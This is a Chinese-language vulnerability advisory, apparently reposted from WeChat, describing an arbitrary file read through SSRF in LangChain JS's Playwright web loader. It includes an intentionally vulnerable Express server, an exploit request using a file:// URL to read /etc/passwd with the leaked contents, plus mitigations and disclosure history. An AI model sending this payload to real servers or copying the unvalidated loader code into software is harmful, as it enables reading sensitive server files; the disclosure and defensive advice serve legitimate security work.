供应商:LangChain
供应商网址:https://github.com/langchain-ai/langchainjs
受影响的版本:
-
LangChain JS 0.2.2
-
LangChain 社区 0.2.2
-
第一次测试是用长链JS 0.1.37版本进行的,但我观察到它在最新版本中受到了影响。
咨询网址:https://huntr.com/bounties/23f45984-7336-48d8-a373-75b39bcd6367
CVE 标识符:N/A
风险:高(供应商分类为信息性)
概括
LangChain 是一个开源框架,旨在协助开发由大型语言模型 (LLM) 支持的应用程序。它支持各种用例,包括文档分析、摘要、聊天机器人和代码分析。LangChain 提供 Python 和 JavaScript (LangChain JS) 库,使开发人员能够轻松地将 LLM 集成到他们的应用程序中。
LangChain 包括 Python 和 JavaScript 库。我的研究与 Js 库有关。该项目拥有超过 11,000 个星标和每周超过 380,000 次下载,这表明其受欢迎程度和广泛使用。
我在 LangChain JS 库中发现了一个任意文件读取 (AFR) 漏洞。此漏洞允许攻击者读取他们不应该访问的服务器上的文件。当与服务器端请求伪造 (SSRF) 结合使用时,攻击者可以利用 SSRF 读取服务器上的任意文件并泄露敏感信息。
利用 AFR 和 SSRF
要利用 SSRF 来利用 AFR,攻击者需要利用操纵 SSRF 中的 URL 的能力来访问服务器上的本地文件。这通常是通过创建指向内部资源的 URL(例如 file:// URI 或内部 IP 地址)来执行的。
例子
假设有一个提供 URL 预览功能的 Web 应用程序。该应用程序会获取所提供 URL 的内容以创建预览。如果应用程序未正确验证输入的 URL,攻击者可能会提供指向本地文件的 URL。
存在漏洞的代码片段
import express from 'express';
import { PlaywrightWebBaseLoader } from "@langchain/community/document_loaders/web/playwright";
const app = express();
const PORT = 9000;
app.get('/', async (req, res) => {
const url = req.query.url;
if (!url) {
return res.status(400).send('URL query parameter is required');
}
try {
const loader = new PlaywrightWebBaseLoader(url);
const docs = await loader.load();
console.log(docs);
res.send(docs);
} catch (error) {
console.error(error);
res.status(500).send('An error occurred');
}
});
app.listen(PORT, () => {
console.log(`Server is running on port ${PORT}`);
});
利用步骤
修改 URL 以指向服务器上的本地文件。我使用了 file:// url 架构。例如:
要求:
GET /?url=file:%2f%2f%2fetc%2fpasswd HTTP/1.1
Host: localhost:9000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:125.0) Gecko/20100101 Firefox/125.0
答案:
HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: application/json; charset=utf-8
Content-Length: 1322
ETag: W/"52a-DLYTBSZq3dJBHi2DbnbTl6+tY1Y"
Date: Fri, 24 May 2024 20:59:48 GMT
Connection: keep-alive
Keep-Alive: timeout=5
[{"pageContent":"
root:x:0:0:root:/root:/bin/bashndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologinnbin:x:2:2:bin:/bin:/usr/sbin/nologinnsys:x:3:3:sys:/dev:/usr/sbin/nologinnsync:x:4:65534:sync:/bin:/bin/syncngames:x:5:60:games:/usr/games:/usr/sbin/nologinnman:x:6:12:man:/var/cache/man:/usr/sbin/nologinnlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologinnmail:x:8:8:mail:/var/mail:/usr/sbin/nologinnnews:x:9:9:news:/var/spool/news:/usr/sbin/nologinnuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologinnproxy:x:13:13:proxy:/bin:/usr/sbin/nologinnwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologinnbackup:x:34:34:backup:/var/backups:/usr/sbin/nologinnlist:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologinnirc:x:39:39:ircd:/run/ircd:/usr/sbin/nologinn_apt:x:42:65534::/nonexistent:/usr/sbin/nologinnnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologinnnode:x:1000:1000::/home/node:/bin/bashnsystemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologinnsystemd-timesync:x:997:997:systemd Time Synchronization:/:/usr/sbin/nologinnmessagebus:x:100:102::/nonexistent:/usr/sbin/nologinn
","metadata":{"source":"file:///etc/passwd"}}]
您可以通过以下网址访问 PoC 代码并亲自尝试。
Langchain AFR PoC:
https://github.com/evrenyal/poc/tree/main/langchain_afr
减轻
一般建议:
-
输入验证:确保 URL 得到正确的验证和清理。
-
允许域列表:将 URL 提取限制到特定的一组受信任的域。
-
拒绝敏感模式:阻止 file://、ftp:// 和其他不应访问的模式。
-
网络分段:限制对内部网络资源的访问。
此外,还可以使用 Node JS 的 URL 库。
new URL 语句根据传入的 URL 字符串创建一个新的 URL 对象,并可轻松访问 URL 的组件。使用 parsedUrl.protocol 属性检查 URL 使用的是 http: 还是 https: 协议。如果使用了不同的协议,则返回错误代码。
披露
该漏洞已报告给 LangChain 团队,并标记为“Informative”。其中指出,该项目实际上在后台使用了 Playwright 项目,开发人员应对其使用负责。
然而,当我查看 Langchain 文档(https://js.langchain.com/v0.1/docs/integrations/document_loaders/web_loaders/web_playwright/)时,我找不到任何指南来说明在从用户那里接收 URL 时应采取什么措施。因此,我个人认为,这具有很高的风险
时间线
2024-05-25 - v1.0
LangChain JS Arbitrary File Read Vulnerability
https:
//evren.ninja/langchain-afr-vulnerability.html
原文始发于微信公众号(Ots安全):LangChain 开源框架 JS 任意文件读取漏洞
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论